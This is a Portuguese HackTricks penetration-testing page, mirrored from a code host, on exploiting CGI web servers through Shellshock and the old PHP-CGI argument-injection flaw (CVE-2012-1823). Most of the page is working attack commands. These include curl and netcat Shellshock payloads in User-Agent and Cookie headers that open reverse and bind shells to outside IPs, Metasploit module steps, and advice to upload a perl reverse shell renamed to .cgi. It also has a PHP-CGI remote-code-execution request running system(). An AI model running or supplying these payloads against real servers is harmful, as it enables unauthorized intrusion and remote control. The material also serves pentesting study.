mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	
		
			
				
	
	
		
			70 lines
		
	
	
		
			4.8 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			70 lines
		
	
	
		
			4.8 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
| {{#include ../../banners/hacktricks-training.md}}
 | |
| 
 | |
| # Informação
 | |
| 
 | |
| Os **scripts CGI são scripts perl**, então, se você comprometeu um servidor que pode executar _**.cgi**_ scripts, você pode **fazer upload de um shell reverso perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **mudar a extensão** de **.pl** para **.cgi**, dar **permissões de execução** \(`chmod +x`\) e **acessar** o shell reverso **pelo navegador** para executá-lo. Para testar por **vulnerabilidades CGI**, é recomendado usar `nikto -C all` \(e todos os plugins\)
 | |
| 
 | |
| # **ShellShock**
 | |
| 
 | |
| **ShellShock** é uma **vulnerabilidade** que afeta o amplamente utilizado **Bash** shell de linha de comando em sistemas operacionais baseados em Unix. Ela ataca a capacidade do Bash de executar comandos passados por aplicativos. A vulnerabilidade reside na manipulação de **variáveis de ambiente**, que são valores nomeados dinâmicos que impactam como os processos são executados em um computador. Os atacantes podem explorar isso anexando **código malicioso** a variáveis de ambiente, que é executado ao receber a variável. Isso permite que os atacantes potencialmente comprometam o sistema.
 | |
| 
 | |
| Explorando essa vulnerabilidade, a **página pode gerar um erro**.
 | |
| 
 | |
| Você pode **encontrar** essa vulnerabilidade notando que está usando uma **versão antiga do Apache** e **cgi_mod** \(com a pasta cgi\) ou usando **nikto**.
 | |
| 
 | |
| ## **Teste**
 | |
| 
 | |
| A maioria dos testes é baseada em ecoar algo e esperar que essa string seja retornada na resposta da web. Se você acha que uma página pode ser vulnerável, procure por todas as páginas cgi e teste-as.
 | |
| 
 | |
| **Nmap**
 | |
| ```bash
 | |
| nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
 | |
| ```
 | |
| ## **Curl \(refletido, cego e fora de banda\)**
 | |
| ```bash
 | |
| # Reflected
 | |
| curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
 | |
| # Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
 | |
| curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
 | |
| # Out-Of-Band Use Cookie as alternative to User-Agent
 | |
| curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
 | |
| ```
 | |
| [**Shellsocker**](https://github.com/liamim/shellshocker)
 | |
| ```bash
 | |
| python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
 | |
| ```
 | |
| ## Explorar
 | |
| ```bash
 | |
| #Bind Shell
 | |
| $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
 | |
| #Reverse shell
 | |
| $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
 | |
| #Reverse shell using curl
 | |
| curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
 | |
| #Reverse shell using metasploit
 | |
| > use multi/http/apache_mod_cgi_bash_env_exec
 | |
| > set targeturi /cgi-bin/admin.cgi
 | |
| > set rhosts 10.1.2.11
 | |
| > run
 | |
| ```
 | |
| # **Proxy \(MitM para solicitações de servidor web\)**
 | |
| 
 | |
| CGI cria uma variável de ambiente para cada cabeçalho na solicitação http. Por exemplo: "host:web.com" é criado como "HTTP_HOST"="web.com"
 | |
| 
 | |
| Como a variável HTTP_PROXY pode ser usada pelo servidor web. Tente enviar um **cabeçalho** contendo: "**Proxy: <IP_atacante>:<PORTA>**" e se o servidor realizar qualquer solicitação durante a sessão. Você poderá capturar cada solicitação feita pelo servidor.
 | |
| 
 | |
| # Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
 | |
| 
 | |
| Basicamente, se cgi estiver ativo e php for "antigo" \(<5.3.12 / < 5.4.2\) você pode executar código. 
 | |
| Para explorar essa vulnerabilidade, você precisa acessar algum arquivo PHP do servidor web sem enviar parâmetros \(especialmente sem enviar o caractere "="\). 
 | |
| Então, para testar essa vulnerabilidade, você poderia acessar, por exemplo, `/index.php?-s` \(note o `-s`\) e **o código fonte da aplicação aparecerá na resposta**.
 | |
| 
 | |
| Então, para obter **RCE**, você pode enviar esta consulta especial: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` e o **código PHP** a ser executado no **corpo da solicitação. Exemplo:**
 | |
| ```bash
 | |
| curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
 | |
| ```
 | |
| **Mais informações sobre a vulnerabilidade e possíveis explorações:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
 | |
| 
 | |
| 
 | |
| {{#include ../../banners/hacktricks-training.md}}
 |